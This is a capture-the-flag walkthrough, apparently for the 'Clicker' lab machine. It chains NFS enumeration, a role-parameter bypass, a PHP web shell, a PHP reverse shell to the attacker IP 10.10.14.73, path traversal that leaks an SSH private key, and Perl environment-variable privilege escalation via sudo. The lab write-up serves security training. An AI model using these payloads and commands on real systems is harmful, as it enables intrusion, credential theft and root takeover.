Clicker

Box info

Enumeration

Nmap

Let's start with scanning the target using Nmap:

szczygielka@hacks$ nmap -sVC -p- 10.129.214.66
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-24 11:16 EST
Nmap scan report for 10.129.214.66
Host is up (0.039s latency).
Not shown: 65526 closed tcp ports (conn-refused)
PORT      STATE SERVICE  VERSION
22/tcp    open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 89:d7:39:34:58:a0:ea:a1:db:c1:3d:14:ec:5d:5a:92 (ECDSA)
|_  256 b4:da:8d:af:65:9c:bb:f0:71:d5:13:50:ed:d8:11:30 (ED25519)
80/tcp    open  http     Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Did not follow redirect to http://clicker.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
111/tcp   open  rpcbind  2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100005  1,2,3      46145/udp   mountd
|   100005  1,2,3      53393/tcp6  mountd
|   100005  1,2,3      54223/tcp   mountd
|   100005  1,2,3      55722/udp6  mountd
|   100021  1,3,4      33811/tcp6  nlockmgr
|   100021  1,3,4      39313/udp   nlockmgr
|   100021  1,3,4      43051/tcp   nlockmgr
|   100021  1,3,4      43382/udp6  nlockmgr
|   100024  1          52055/udp   status
|   100024  1          53537/tcp6  status
|   100024  1          53598/udp6  status
|   100024  1          53993/tcp   status
|   100227  3           2049/tcp   nfs_acl
|_  100227  3           2049/tcp6  nfs_acl
2049/tcp  open  nfs_acl  3 (RPC #100227)
38127/tcp open  mountd   1-3 (RPC #100005)
43051/tcp open  nlockmgr 1-4 (RPC #100021)
53993/tcp open  status   1 (RPC #100024)
54223/tcp open  mountd   1-3 (RPC #100005)
55825/tcp open  mountd   1-3 (RPC #100005)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.65 seconds

The Nmap output gives us information about many open ports. Let's discuss the content of the most important of them. We can see that port 22 (SSH) is open. On port 80, there is an Apache HTTP server with the domain http://clicker.htb/. On port 111 there is a RPC, which is a remote procedure calling protocol. RPC allows you to register various services and make them available on different ports.

The HackTricks article indicates that a service on port 111 is a portmapper. Portmapper is utilized for mapping network service ports to RPC program numbers. The NFS is running on port 2049. Due to the HackTricks article, NFS allows users access files over a network as though these files were located within a local directory.

First, let's add the domain clicker.htb from port 80 to /etc/hosts:

10.129.214.66    clicker.htb

Exploring website

Let's start by checking the content of the website http://clicker.htb/. The website contains a game Clicker:

The website allows us to register and log in. So let's create a new account:

Next, log in to the created account:

After logging in, we can only play the game or log out:

Analyzing queries in the Burp leads us to increase our number of clicks and raise our level:

Analysis of the rest of the HTTP requests in the Burp does not provide any other interesting information at the moment. So we have to keep looking for ways to gain a foothold.

NFS pentesting

The information available on HackTricks indicates that NFS does not have a built-in authentication or authorization mechanism. It also indicates that if NFS is running with RPC, we will probably be able to download or view some files, which may lead us to get more information about the target machine.

We can use the Nmap script called nfs-ls, to check what directory is shared by NFS and check its content:

szczygielka@hacks$ sudo nmap --script=nfs-ls -p 111 10.129.214.66
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-24 13:04 EST
Nmap scan report for clicker.htb (10.129.214.66)
Host is up (0.038s latency).

PORT    STATE SERVICE
111/tcp open  rpcbind
| nfs-ls: Volume /mnt/backups
|   access: Read Lookup NoModify NoExtend NoDelete NoExecute
| PERMISSION  UID    GID    SIZE     TIME                 FILENAME
| rwxr-xr-x   65534  65534  4096     2023-09-05T19:19:10  .
| ??????????  ?      ?      ?        ?                    ..
| rw-r--r--   0      0      2284115  2023-09-01T20:27:06  clicker.htb_backup.zip
|_

Nmap done: 1 IP address (1 host up) scanned in 0.89 seconds

Nmap returned one available directory /mnt/backups. We can mount this directory in our system via the following command:

sudo mount -t nfs 10.129.214.66:/mnt/backups /mnt -o nolock

The -o nolock option in the command disables file locking, which is enabled by default. This setting is sometimes required when connecting to older NFS servers. Now we can check what it gives us.

Let's copy the file clicker.htb_backup.zip to our directory and unzip it:

szczygielka@hacks$ cp clicker.htb_backup.zip /home/szczygielka/Documents/
szczygielka@hacks$ unzip clicker.htb_backup.zip 
Archive:  clicker.htb_backup.zip
   creating: clicker.htb/
  inflating: clicker.htb/play.php    
  inflating: clicker.htb/profile.php  
  inflating: clicker.htb/authenticate.php  
  inflating: clicker.htb/create_player.php  
  inflating: clicker.htb/logout.php  
  <SNIP>

List the content of the clicker.htb directory:

szczygielka@hacks$ ls -la
total 72
drwxr-xr-x 4 szczygielka szczygielka 4096 Sep  1 16:21 .
drwxr-xr-x 3 szczygielka szczygielka 4096 Feb 24 13:15 ..
-rw-rw-r-- 1 szczygielka szczygielka 3934 Sep  1 16:18 admin.php
drwxr-xr-x 4 szczygielka szczygielka 4096 Feb 28  2023 assets
-rw-rw-r-- 1 szczygielka szczygielka  608 Sep  1 16:17 authenticate.php
-rw-rw-r-- 1 szczygielka szczygielka  541 Sep  1 16:17 create_player.php
-rw-rw-r-- 1 szczygielka szczygielka 2536 Sep  1 16:18 db_utils.php
-rw-r--r-- 1 szczygielka szczygielka 1376 Sep  1 16:18 diagnostic.php
-rw-rw-r-- 1 szczygielka szczygielka 1977 Sep  1 16:18 export.php
drwxr-xr-x 2 szczygielka szczygielka 4096 Sep  1 16:18 exports
-rw-rw-r-- 1 szczygielka szczygielka 3887 Sep  1 16:18 index.php
-rw-rw-r-- 1 szczygielka szczygielka 3423 Sep  1 16:18 info.php
-rw-rw-r-- 1 szczygielka szczygielka 3301 Sep  1 16:18 login.php
-rw-rw-r-- 1 szczygielka szczygielka   74 Sep  1 16:17 logout.php
-rw-rw-r-- 1 szczygielka szczygielka 3341 Sep  1 16:17 play.php
-rw-rw-r-- 1 szczygielka szczygielka 3070 Sep  1 16:17 profile.php
-rw-rw-r-- 1 szczygielka szczygielka 3333 Sep  1 16:18 register.php
-rw-rw-r-- 1 szczygielka szczygielka  563 Sep  1 16:18 save_game.php

The content of the extracted clicker.htb directory contains PHP source code for the Clicker website. One of the more interesting files is admin.php. At the beginning of the file, it is checked whether the user role is Admin:

<?php
session_start();
include_once("db_utils.php");

if ($_SESSION["ROLE"] != "Admin") {
  header('Location: /index.php');
  die;
}
?>

So let's look for the possibility of assigning a role to an ordinary user. In the save_game.php file, which saves the game state, we can see that there is a check whether one of the parameters sent in the GET query is role:

<?php
session_start();
include_once("db_utils.php");

if (isset($_SESSION['PLAYER']) && $_SESSION['PLAYER'] != "") {
	$args = [];
	foreach($_GET as $key=>$value) {
		if (strtolower($key) === 'role') {
			// prevent malicious users to modify role
			header('Location: /index.php?err=Malicious activity detected!');
			die;
		}
		$args[$key] = $value;
	}
	save_profile($_SESSION['PLAYER'], $_GET);
	// update session info
	$_SESSION['CLICKS'] = $_GET['clicks'];
	$_SESSION['LEVEL'] = $_GET['level'];
	header('Location: /index.php?msg=Game has been saved!');
	
}
?>

This check is probably intended to protect against modification of the role sent as a GET query parameter. If we managed to bypass this limitation, we should be able to assign ourselves the Admin role and gain access to the administrator panel, i.e. admin.php.

Getting Admin on the website

Let's capture a GET query containing the current game state using the Burp and let's try to bypass the restrictions on the role parameter. We can try to bypass it using CRLF injection.

Let's send one of the following payloads:

CR (%0d):

/save_game.php?clicks=200000&level=10000&role%0d=Admin

or LF (%0a):

/save_game.php?clicks=200000&level=10000&role%0a=Admin

or sending %0d%0a at once

It causes that game was saved correctly:

This machine is therefore vulnerable to CRLF Injection. Now after logging in again, we are user with Admin role and we gain access to the administration panel:

In Administration Panel we get information about Top players and we can export them to txt, json or html format:

After clicking the Export button, a POST query is sent with two parameters threshold and extension:

Additionally, the website does not seem to check the value of extension parameter provided in the query, so we can set it to any value, for example php:

After exporting the data to the txt format, we receive the path to which the data was saved:

Let's save the top players in the txt format. After going to the file preview, we can see that in addition to the 4 best users, the first line contains information about our current user:

Let's look at the export.php code. On line 47 we can see that the username of the current user, which is displayed in the exported file, is stored by the nickname:

We know that we can change the format of the exported data to any format. If we change the file format to PHP and overwrite the nickname in a certain way, we should get a web shell.

Webshell as www-data

We already know that we can add additional parameters when sending a POST query to the save_game.php, so we will try to modify the nickname with this query. As a payload, we will use the following PHP web shell code:

<?php system($_GET['cmd']);?>

This payload should allow us to send commands in the cmd parameter of the GET query:

/save_game.php?clicks=200000&level=10000&nickname=<?php+system($_GET['cmd']);?>

Let's send the request via Burp:

Then send a query that will allow us to generate a PHP file:

Now, we can use the generated file by setting the cmd parameter to id:

Reverse shell

We have remote code execution. We can now try to get a reverse shell. Let's prepare the listener:

szczygielka@hacks$ nc -lnvp 443
listening on [any] 443 ...

We will use PHP exec payload from this page:

php -r '$sock=fsockopen("10.10.14.73",443);exec("sh <&3 >&3 2>&3");'

Sending the prepared payload as the value of the cmd parameter gives a reverse shell:

szczygielka@hacks$ nc -lnvp 443
listening on [any] 443 ...
connect to [10.10.14.73] from (UNKNOWN) [10.129.212.114] 57440

Let's upgrade the shell:

python3 -c 'import pty; pty.spawn("/bin/bash")'

We got a reverse shell as www-data user:

www-data@clicker:/var/www/clicker.htb/exports$ whoami
www-data

In /opt/manage directory we find 2 files belonging to the user jack:

www-data@clicker:/opt/manage$ ls -la
ls -la
total 28
drwxr-xr-x 2 jack jack  4096 Jul 21  2023 .
drwxr-xr-x 3 root root  4096 Jul 20  2023 ..
-rw-rw-r-- 1 jack jack   256 Jul 21  2023 README.txt
-rwsrwsr-x 1 jack jack 16368 Feb 26  2023 execute_query

Let's print the file README.txt:

www-data@clicker:/opt/manage$ cat README.txt
Web application Management

Use the binary to execute the following task:
        - 1: Creates the database structure and adds user admin
        - 2: Creates fake players (better not tell anyone)
        - 3: Resets the admin password
        - 4: Deletes all users except the admin

The execute_query file turns out to be a shared library:

www-data@clicker:/opt/manage$ file execute_query
execute_query: setuid, setgid ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=cad57695aba64e8b4f4274878882ead34f2b2d57, for GNU/Linux 3.2.0, not stripped

Let's download this library to our attacking machine. To download the file on the target machine let's start the Python HTTP server:

www-data@clicker:/opt/manage$ python3 -m http.server 8080
python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...

and then download it:

szczygielka@hacks$  wget 10.129.214.66:8080/execute_query
--2024-02-24 18:09:42--  http://10.129.214.66:8080/execute_query
Connecting to 10.129.214.66:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16368 (16K) [application/octet-stream]
Saving to: ‘execute_query’

execute_query                                              100%[========================================================================================================================================>]  15.98K  --.-KB/s    in 0.04s   

2024-02-24 18:09:43 (430 KB/s) - ‘execute_query’ saved [16368/16368]

Now let's decompile the execute_query code.

The content of the main function shows that if a value other than an integer from 0 to 4 is given as an argument, the following line should be executed:

strncpy(dest, argv[2], 0x14uLL);

In this line, the third element from the argv table is copied to dest. The first element of the argv array is the program name, and its next elements are the arguments of the call. The value of the dest variable is set as the given argument of the execute_query and then in the next line the following path is added to this variable:

/home/jack/queries/

If the file path is correct and readable, the system command running mysql is executed with the path obtained from concatenating the path /home/jack/queries/ with the string given in the argument of execute_query application:

/usr/bin/mysql -u clicker_db_user --password='clicker_db_password' clicker -v < /home/jack/queries/<given string in argument>

Everything indicates that it may be possible to read files located in the /home/jack/queries/ directory. However, we can add "../" and try to read other files that are inaccessible to us. Because port 22 is open, we want to check whether there is an SSH key in the home directory of the user jack. By default, the key should be located at the following path:

~/.ssh/id_rsa

In this case, SSH private key directory should be located in the following location:

/home/jack/queries/.ssh/id_rsa

Executing the following command returned the contents of the id_rsa file:

www-data@clicker:/opt/manage$ ./execute_query 5 ../.ssh/id_rsa
mysql: [Warning] Using a password on the command line interface can be insecure.
--------------
-----BEGIN OPENSSH PRIVATE KEY---
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAs4eQaWHe45iGSieDHbraAYgQdMwlMGPt50KmMUAvWgAV2zlP8/1Y
<SNIP>
LsOxRu230Ti7tRBOtV153KHlE4Bu7G/d028dbQhtfMXJLu96W1l3Fr98pDxDSFnig2HMIi
lL4gSjpD/FjWk9AAAADGphY2tAY2xpY2tlcgECAwQFBg==
-----END OPENSSH PRIVATE KEY---
--------------

ERROR 1064 (42000) at line 1: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-----BEGIN OPENSSH PRIVATE KEY---
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAA' at line 1

Let's save this SSH private key as id_rsa file on the attacking machine, Due to the fact the private key format was not returned correctly, we need to modify its beginning and end. Let's generate a key pair to see what the correct OpenSSH key format should look like:

szczygielka@hacks$ ssh-keygen
Generating public/private ed25519 key pair.
Enter file in which to save the key (/home/szczygielka/.ssh/id_ed25519): ./ssh_test_key
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in ./ssh_test_key
Your public key has been saved in ./ssh_test_key.pub
The key fingerprint is:
SHA256:KZOcOvJodNb1kTS6PiUr9TJYrliVu0b0/No1+1NRcmA szczygielka@hacks
The key's randomart image is:
<SNIP>

Change deformed lines in id_rsa to the same as in the generated ssh_test_key private key.

Let's try to log in to SSH as jack using private key id_rsa:

szczygielka@hacks$ ssh -i id_rsa jack@10.129.212.114
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-84-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun Feb 25 01:43:22 AM UTC 2024

  System load:           0.3203125
  Usage of /:            53.3% of 5.77GB
  Memory usage:          16%
  Swap usage:            0%
  Processes:             260
  Users logged in:       0
  IPv4 address for eth0: 10.129.212.114
  IPv6 address for eth0: dead:beef::250:56ff:fe96:f957


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

jack@clicker:~$ 

We have successfully logged in as jack.

User flag

We can obtain a user flag from /home/jack/user.txt.

Privilege escalation

Let's check if jack can run commands with sudo privileges:

jack@clicker:~$ sudo -l
Matching Defaults entries for jack on clicker:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User jack may run the following commands on clicker:
    (ALL : ALL) ALL
    (root) SETENV: NOPASSWD: /opt/monitor.sh

It turns out that jack can run the /opt/monitor.sh script with sudo privileges without a password. So let's check the contents of the monitor.sh script:

jack@clicker:~$  cat /opt/monitor.sh
#!/bin/bash
if [ "$EUID" -ne 0 ]
  then echo "Error, please run as root"
  exit
fi

set PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
unset PERL5LIB;
unset PERLLIB;

data=$(/usr/bin/curl -s http://clicker.htb/diagnostic.php?token=secret_diagnostic_token);
/usr/bin/xml_pp <<< $data;
if [[ $NOSAVE == "true" ]]; then
    exit;
else
    timestamp=$(/usr/bin/date +%s)
    /usr/bin/echo $data > /root/diagnostic_files/diagnostic_${timestamp}.xml
fi

At the beginning of the script, a check is made whether the EUID value is other than 0, then the user is asked to run the script as root. EUID (Effective UID) is the user ID the process is executing. Then the PATH variable is set and the PERL5LIB and PERLLIB variables are unset. Then, a the GET request is made using curl to the Clicker application, more precisely to its page /diagnostic.php. This page returns data that is stored in the data variable and then calls /usr/bin/xml_pp with this data. Then, if the NOSAVE variable is set to a value other than true, echo is used to write the data to the XML file.

Let's check what /usr/bin/xml_pp is:

jack@clicker:~$ file /usr/bin/xml_pp
/usr/bin/xml_pp: Perl script text executable

Let's look for more information about the possibility of using Perl for privilege escalation.

CVE-2016-1531

From the article we learn that it is possible to use specific Perl environment variables, as well as environment variables of other scripting languages to execute arbitrary code. For this purpose, certain environment variables must be set in a specific way. The article cites an example of a vulnerability known as perl_startup, classified as CVE-2016-1531. An exploit for this vulnerability indicates the possibility of using variables PERL5LIB and PERL5OPT to code execution. The cited article also indicates the possibility of using the PERL5DB environment variable for the same purpose:

PERL5OPT=-d PERL5DB=system("sh");exit;

From the Perl environment variables documentation, it appears that the PERL5OPT variable is used to specify the default command line switches for Perl. This variable therefore gives you the ability to influence Perl's behavior by setting command line options. Setting the PERL5OPT variable to -d indicates a program execution under a debugger. From the Perl help command:

-d[:debugger]     run program under debugger

According to the information from the Ubuntu website, the PERL5DB variable contains the code that runs the Perl debugger. This variable can be changed to set a different debugger or any code, that will be executed.

Exploitation

We can't use PERL5LIB and PERLLIB, due to the fact they are unset in /opt/monitor.sh script, so we will try to use PERL5OPT and PERL5DB variables.

Indirectly calling the /usr/bin/xml_pp script by calling the /opt/monitor.sh script with sudo permissions should allow us to add the SUID attribute to the /bin/bash file via Perl environment variables, which should result in the ability to elevate privileges.

Let's prepare PERL5OPT and PERL5DB variables:

PERL5OPT=-d PERL5DB='exec "chmod u+s /bin/bash"'

Now let's execute the /opt/monitor.sh script with sudo permissions, providing the prepared variables in Perl:

jack@clicker:~$ sudo PERL5OPT=-d PERL5DB='exec "chmod u+s /bin/bash"' /opt/monitor.sh
Statement unlikely to be reached at /usr/bin/xml_pp line 9.
        (Maybe you meant system() when you said exec()?)

Then let's run the bash shell in privileged mode and let's check who we are with the whoami command:

jack@clicker:~$ bash -p
bash-5.1# whoami
root
bash-5.1# 

We get shell as root user.

Root flag

The previous steps lead us to the root user. The root flag can be obtained from /root/root.txt.

Last updated